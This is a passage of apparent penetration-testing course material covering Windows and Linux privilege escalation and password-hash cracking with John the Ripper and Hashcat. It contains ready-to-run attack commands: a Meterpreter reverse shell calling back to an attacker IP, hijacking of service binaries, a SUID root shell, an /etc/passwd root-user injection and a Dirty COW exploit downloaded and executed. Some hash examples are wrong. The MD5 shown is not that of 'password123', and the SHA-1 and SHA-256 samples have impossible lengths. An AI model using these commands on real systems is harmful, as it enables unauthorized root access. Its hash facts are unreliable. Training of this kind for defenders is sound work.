🔸 2.1 Check User Privileges

Before escalating privileges, check **current user permissions**.

🛠 Windows (Check Current User Privileges)

Command:

whoami /priv

✓ Lists privileges available to the current user.

🛠 Linux (Check User & Groups)

Command:

whoami && id

✓ Displays **username and privilege level**.

📌 Step 3: Finding Local Privilege Escalation Vulnerabilities

🔸 3.1 Checking for Kernel & OS Vulnerabilities

🛠 Windows (Check for Unpatched Vulnerabilities)

Command:

systeminfo

✓ Displays **OS version** and **hotfixes installed**.

📌 **Compare with Exploit Databases:**

- **Exploit-DB** (https://www.exploit-db.com/)
- **Rapid7 Metasploit** (https://www.rapid7.com/db/)

🛠 Linux (Check Kernel Version for Exploits)

Command:

uname -r

✓ Lists **Linux kernel version**.

📌 **Search for vulnerabilities** in databases:

- **GTFOBins** (https://gtfobins.github.io/)
- **Linux Privilege Escalation Scripts** (https://github.com/rebootuser/LinEnum)

📌 Step 4: Exploiting Privilege Escalation Vulnerabilities

🔹 Windows Privilege Escalation Exploits

🔸 4.1 Exploiting Unquoted Service Paths

Services with **unquoted paths** allow attackers to insert malicious executables.

🛠 Step 1: Identify Vulnerable Services

Command:

wmic service get name,displayname,pathname,startmode | findstr /i "C:\Program Files"

✓ Lists **services with unquoted paths** (if spaces exist in the path, it's vulnerable).

🛠 Step 2: Exploiting the Vulnerability

1. **Create a Malicious Executable** (e.g., Reverse Shell)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your_IP> LPORT=4444 -f exe > exploit.exe

2. **Place exploit.exe in a writable directory (e.g., C:\Program Files\Service Name)**
3. **Restart the service:**

sc stop [service_name] && sc start [service_name]

📌 **Outcome:** The service executes **exploit.exe,** granting **Administrator privileges**.

🔸 4.2 Exploiting Weak Service Permissions

Some services run with SYSTEM privileges but allow **modifications by low-privileged users**.

🛠 Step 1: Find Vulnerable Services

Command:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

✓ Identifies services **modifiable** by normal users.

🛠 Step 2: Replace Service Binary with Malicious Payload

sc config [service_name] binPath= "C:\Users\Public\exploit.exe"

sc start [service_name]

📌 **Outcome:** The modified service runs **exploit.exe** as SYSTEM, granting full control.

🔹 Linux Privilege Escalation Exploits

🔸 4.3 Exploiting SUID (Set-User-ID) Binaries

SUID binaries run with **root privileges,** allowing privilege escalation.

🛠 Step 1: Find SUID Binaries

Command:

find / -perm -4000 -type f 2>/dev/null

✓ Lists **SUID-enabled** files.

🛠 Step 2: Exploit a Misconfigured SUID Binary

Example: If **find** has SUID permissions, exploit it:

find . -exec /bin/bash -p \;

📌 **Outcome: Root shell access granted** due to misconfigured SUID permissions.

🔹 4.4 Exploiting Writable /etc/passwd for Root Access

If /etc/passwd is **writable,** attackers can **create a root user**.

🛠 Step 1: Add a Root User

echo 'hacker:x:0:0::/root:/bin/bash' >> /etc/passwd

📌 **Outcome:** Logging in as hacker grants **root access**.

🔹 4.5 Kernel Exploits for Privilege Escalation

Unpatched Linux kernels have **public exploits** for root access.

🛠 Step 1: Find Kernel Exploits

Command:

uname -r

✓ Lists **kernel version** to check for known exploits.

🛠 Step 2: Exploit Kernel Vulnerability (Example: Dirty COW - CVE-2016-5195)

wget https://exploit-db.com/exploits/40611.c -O exploit.c

gcc exploit.c -o exploit

./exploit

📌 **Outcome:** The exploit grants **root access**.

📌 Step 5: Documenting Privilege Escalation Findings

🔸 5.1 Report Structure

✅ **System Information** (OS version, kernel, user privileges)
✅ **Exploited Vulnerability** (SUID, unquoted service paths, kernel exploit)
✅ **Exploit Method** (Commands, payloads used)
✅ **Impact** (Access gained, files modified)
✅ **Mitigation Steps** (How to patch or secure the system)

📌 Example Report Summary:

Target: Ubuntu 18.04

Vulnerability: SUID misconfiguration in /usr/bin/find

Exploit Used: find . -exec /bin/bash -p \;

Impact: Gained root access

Mitigation: Remove SUID bit using chmod -s /usr/bin/find

📌 Step 6: Security Best Practices to Prevent Privilege Escalation

🔹 6.1 Windows Security Measures

✓ Regularly **apply security updates and patches**.
✓ Restrict **modification permissions on critical services**.
✓ Enable **Windows Defender & Security Logs** to detect privilege escalation.
✓ Disable **unnecessary administrator accounts**.

🔹 6.2 Linux Security Measures

✓ **Update the kernel** and restrict writable SUID binaries.
✓ Use **file integrity monitoring tools** to detect unauthorized changes.
✓ Enforce **Least Privilege Access (LPA)** for users.
✓ Disable root login via SSH (/etc/ssh/sshd_config).

📌 Step 7: Summary & Next Steps

✅ Key Takeaways

✓ Privilege Escalation allows users to elevate their access from user → root/admin.
✓ Windows exploits include unquoted service paths, weak service permissions, and DLL hijacking.
✓ Linux exploits include SUID binaries, writable /etc/passwd, and kernel vulnerabilities.
✓ Security best practices can help prevent privilege escalation attacks.

📌 **Next Steps:**

🔹 Practice privilege escalation in a lab (TryHackMe, Hack The Box, Vulnhub).

🔹 Monitor system configurations and restrict unnecessary privileges.

🔹 Stay updated on security patches to prevent local exploits. 🚀

📌 ASSIGNMENT 2:

☑ CRACK PASSWORD HASHES FROM A SAMPLE DATABASE.

📌 Solution: Assignment 2 – Cracking Password Hashes from a Sample Database

🎯 Objective

The goal of this assignment is to **extract password hashes** from a **sample database** and **crack them** using **hash cracking tools** like **John the Ripper** and **Hashcat**.

📌 Step 1: Understanding Password Hash Cracking

🔹 1.1 What is Password Hash Cracking?

Password hash cracking is the process of recovering the original plaintext password from a **hashed value** by using **brute-force, dictionary attacks, or rainbow tables**.

🔹 1.2 Why is it Important?

✓ **Helps penetration testers assess password security.**
✓ **Identifies weak passwords that need to be changed.**
✓ **Helps organizations improve authentication security.**

📌 Example:

A company's database stores user passwords as **MD5 hashes**. A security researcher **extracts and cracks these hashes,** revealing weak passwords like **"password123",** which need to be changed.

📌 Step 2: Extracting Hashes from a Sample Database

🔸 2.1 Locate the Sample Database

For this assignment, use a **test database** like:

✓ **MySQL Database**

✓ **PostgreSQL**

✓ **SQLite**

🔸 2.2 Extracting Password Hashes from MySQL

🛠 Step 1: Access MySQL and Select the Database

```
mysql -u root -p

USE users_db;
```

🛠 Step 2: Find Stored Password Hashes

```
SELECT username, password FROM users;
```

📌 Example Output:

```
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| alice    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| bob      | 25d55ad283aa400af464c76d713c07ad |
+----------+----------------------------------+
```

✓ These are **hashed passwords** that need to be cracked.

📌 Step 3: Identifying Hash Type

🔸 3.1 Determine the Hash Type

Common hash types include:

Hash Type	Example Hash
MD5	5f4dcc3b5aa765d61d8327deb882cf99
SHA-1	b2e98ad6f6eb8508dd6a14cfa704bad7
SHA-256	ef797c8118f02dfb6499f48c5f4e44e5

🛠 Step 1: Use hashid to Identify Hash Type

```
echo "5f4dcc3b5aa765d61d8327deb882cf99" | hashid
```

📌 Output:

```
MD5
```

✓ The extracted passwords are **MD5 hashes**.

📌 Step 4: Cracking Hashes Using John the Ripper

🔸 4.1 Installing John the Ripper

```
sudo apt update && sudo apt install john -y
```

🔸 4.2 Creating a Hash File for Cracking

```
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
```

🔸 4.3 Running John the Ripper on the Hash File

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

📌 Example Output:

Using default input encoding: UTF-8

Loaded 1 password hash

Press 'q' or Ctrl-C to abort, almost any other key for status

password123 (5f4dcc3b5aa765d61d8327deb882cf99)

✓ The cracked password is **password123**.

📌 Step 5: Cracking Hashes Using Hashcat

🔸 5.1 Installing Hashcat

sudo apt install hashcat -y

🔸 5.2 Cracking an MD5 Hash with a Wordlist Attack

hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

📌 Example Output:

5f4dcc3b5aa765d61d8327deb882cf99:password123

✓ Hashcat successfully cracked the password.

📌 Step 6: Defending Against Password Hash Cracking

🔸 6.1 Security Best Practices

✓ Use strong, complex passwords (12+ characters, uppercase, lowercase, numbers, symbols).
✓ Implement Multi-Factor Authentication (MFA).
✓ Salt passwords before hashing to prevent rainbow table

attacks.

✓ Use strong hashing algorithms (bcrypt, Argon2, PBKDF2).

🔹 6.2 How to Secure Stored Passwords?

Use **bcrypt** instead of MD5 or SHA-1:

```
import bcrypt


password = "securepassword"

hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())


print(hashed)
```

📌 Outcome:

✓ Secure password storage using **bcrypt hashing**.

📌 Step 7: Summary & Next Steps

✅ Key Takeaways

✓ Extracted password hashes from a test database.
✓ Used hashid to identify the hash type (MD5).
✓ Cracked hashes using John the Ripper and Hashcat.
✓ Learned best practices to secure stored passwords.